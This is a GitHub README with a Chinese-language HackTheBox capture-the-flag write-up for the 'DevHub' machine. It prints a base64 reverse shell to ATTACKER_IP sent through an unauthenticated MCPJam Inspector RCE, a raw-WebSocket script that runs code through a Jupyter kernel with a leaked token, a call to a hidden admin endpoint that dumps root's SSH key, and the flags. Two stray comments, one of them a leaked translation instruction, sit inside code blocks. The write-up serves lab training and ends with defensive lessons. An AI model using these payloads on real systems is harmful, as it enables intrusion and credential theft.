SuriyaBoon/DevHub-HackTheBox-ss11
GitHub: SuriyaBoon/DevHub-HackTheBox-ss11
基于 HackTheBox 的 DevHub 漏洞利用实战项目
Stars: 1 | Forks: 0
# DevHub — HackTheBox 第11季 Writeup
**难度:** 中等
**操作系统:** Linux (Ubuntu 22.04)
**发布:** 2026 (第11季)
**标签:** `MCP` `Jupyter` `RCE` `API 滥用` `SSH 密钥泄露`
## 摘要
DevHub 提供了一个内部开发者平台,包含三个服务:MCP 检查器、Jupyter Lab 实例和 Git 仓库。攻击链涉及利用 MCPJam 检查器中的未认证 RCE 获取初始立足点,通过滥用 WebSocket 上的内部 Jupyter API 转移到 `analyst` 用户,然后通过发现作为 root 运行的内部 OPSMCP Flask 服务器中的隐藏管理端点来提升权限至 root。
## 情报收集
### 端口扫描
```
nmap -sC -sV -p- --min-rate 5000 10.10.11.x -oN nmap.txt
```
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
6274/tcp open http MCPJam Inspector 1.4.2
```
### 添加到 /etc/hosts
```
echo "10.10.11.x devhub.htb" | sudo tee -a /etc/hosts
```
### 网络枚举
访问 `http://devhub.htb` 会显示一个宣传三个内部服务的着陆页:
| 服务 | 状态 |
|---|---|
| MCP 检查器 | 活动 — 端口 6274 |
| 分析仪表板 (Jupyter) | 仅内部使用 — localhost:8888 |
| 代码仓库 (Git) | 维护模式 |
### 发现 API 路由
```
curl -s http://devhub.htb:6274/assets/index-DRYhT9Xb.js | grep -o '"\/api[^"]*"' | sort -u
```
发现 `/api/mcp/connect` — 未认证,绑定到 `0.0.0.0`。
## 足点 — CVE-2026-23744 (MCPJam 检查器 RCE)
MCPJam 检查器 v1.4.2 易受通过 `/api/mcp/connect` 端点未认证 RCE 的攻击。`serverConfig.args` 字段未经清理直接传递给 shell。
### 启动监听器
```
nc -lvnp 4444
```
### 生成有效载荷
```
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64
# 重要:请保持所有专业术语、专有名词、工具/库/框架名称和技术术语的原英文形式。
```
### 触发 RCE
```
curl -s -X POST http://devhub.htb:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig": {
"command": "sh",
"args": ["-c", "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xOTcvNDQ0NCAwPiYxCg== | base64 -d | bash"],
"env": {}
},
"serverId": "pwned"
}'
```
Shell 以 `mcp-dev` 接收。
### 稳定 Shell
```
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 运行 Naabu
stty raw -echo; fg
export TERM=xterm
```
## 横向移动 — mcp-dev → analyst
### 发现内部服务
```
ps aux | grep -E "jupyter|opsmcp"
```
发现:
- `127.0.0.1:8888` — 以 `analyst` 运行的 Jupyter Lab
- `127.0.0.1:5000` — 以 root 运行的 OPSMCP Flask 服务器
### 提取 Jupyter 令牌
```
ps aux | grep jupyter
```
令牌在进程参数中找到:
```
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
```
### 列出笔记本
```
curl -s "http://localhost:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
```
发现:`quarterly_analysis.ipynb`,`pwn.ipynb`
### 创建内核会话
```
curl -s -X POST "http://localhost:8888/api/kernels?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json" \
-d '{}'
```
内核 ID:`37a271e3-4f11-4ed5-afde-0e5f1b481db9`
### 通过原始 WebSocket 执行代码
由于 `websocket-client` 不可用(无互联网),手动构建了原始 WebSocket 帧:
```
python3 << 'EOF'
import socket, base64, os, json, struct, uuid, time
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
KERNEL_ID = "37a271e3-4f11-4ed5-afde-0e5f1b481db9"
key = base64.b64encode(os.urandom(16)).decode()
upgrade = (
f"GET /api/kernels/{KERNEL_ID}/channels?token={TOKEN} HTTP/1.1\r\n"
f"Host: localhost:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
)
s = socket.socket()
s.connect(("localhost", 8888))
s.send(upgrade.encode())
s.recv(4096) # discard 101 response
msg = json.dumps({
"header": {"msg_id": str(uuid.uuid4()), "msg_type": "execute_request",
"username": "", "session": str(uuid.uuid4()), "version": "5.0"},
"parent_header": {}, "metadata": {},
"content": {"code": "import os; print(os.popen('cat /home/analyst/user.txt').read())", "silent": False}
})
payload = msg.encode()
length = len(payload)
mask_key = os.urandom(4)
masked = bytearray([payload[i] ^ mask_key[i % 4] for i in range(length)])
if length <= 125:
header = struct.pack('!BB', 0x81, 0x80 | length) + mask_key
elif length <= 65535:
header = struct.pack('!BBH', 0x81, 0xFE, length) + mask_key
else:
header = struct.pack('!BBQ', 0x81, 0xFF, length) + mask_key
s.send(header + masked)
time.sleep(5)
print(s.recv(65535))
EOF
```
代码以 `analyst` 用户身份通过 Jupyter 内核执行。
## 用户标志
```
9cfd5dc906d5b588b7859424e6e0421a
```
## 提权 — analyst → root
### 读取 OPSMCP 源代码
使用 Jupyter WebSocket 执行技术,读取 OPSMCP 服务器源代码:
```
"code": "import os; print(os.popen('cat /opt/opsmcp/server.py').read())"
```
关键发现:
- **API 密钥:** `opsmcp_secret_key_4f5a6b7c8d9e0f1a`
- **隐藏工具:** `ops._admin_dump` — 未在 `/tools/list` 中列出但可调用
- 隐藏工具接受 `target=ssh_keys` 并导出 `/root/.ssh/id_rsa`
### 调用隐藏管理端点
```
curl -s -X POST "http://localhost:5000/tools/call" \
-H "Content-Type: application/json" \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
```
响应包含 root RSA 私钥。
### 以 root 身份 SSH 登录
```
cat > /tmp/root_key << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9
...
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 /tmp/root_key
ssh -i /tmp/root_key root@10.129.5.148
```
## root 标志
```
f08364d99ace8798681925311bf24d78
```
## 标志
| 标志 | 哈希 |
|---|---|
| user.txt | `9cfd5dc906d5b588b7859424e6e0421a` |
| root.txt | `f08364d99ace8798681925311bf24d78` |
## 攻击链
```
[MCPJam RCE] [Jupyter WebSocket] [OPSMCP Hidden API]
mcp-dev → analyst → root
(CVE-2026-23744) (Token in ps aux) (ops._admin_dump)
```
## 引用的 CVE
| CVE | 描述 | CVSS |
|---|---|---|
| CVE-2026-23744 | MCPJam 检查器通过 `/api/mcp/connect` 端点未认证 RCE | 严重 |
| CVE-2025-49596 | MCP 检查器 DNS 重绑定 RCE | 9.4 |
## 主要收获
- **MCP 服务器** 可以在未认证的情况下暴露危险的命令执行端点 — 在生产环境中始终绑定到 localhost。
- 从 `ps aux` 中提取的 **Jupyter 令牌** 允许以运行用户执行完整代码。
- 未在文档中列出的 **隐藏 API 端点** 即使读取了源代码也可以调用 — 暗中保护不是安全。
- 总是限制内部服务到最低权限用户,并避免以 root 身份运行 Web 服务器。
标签:威胁模拟, 逆向工具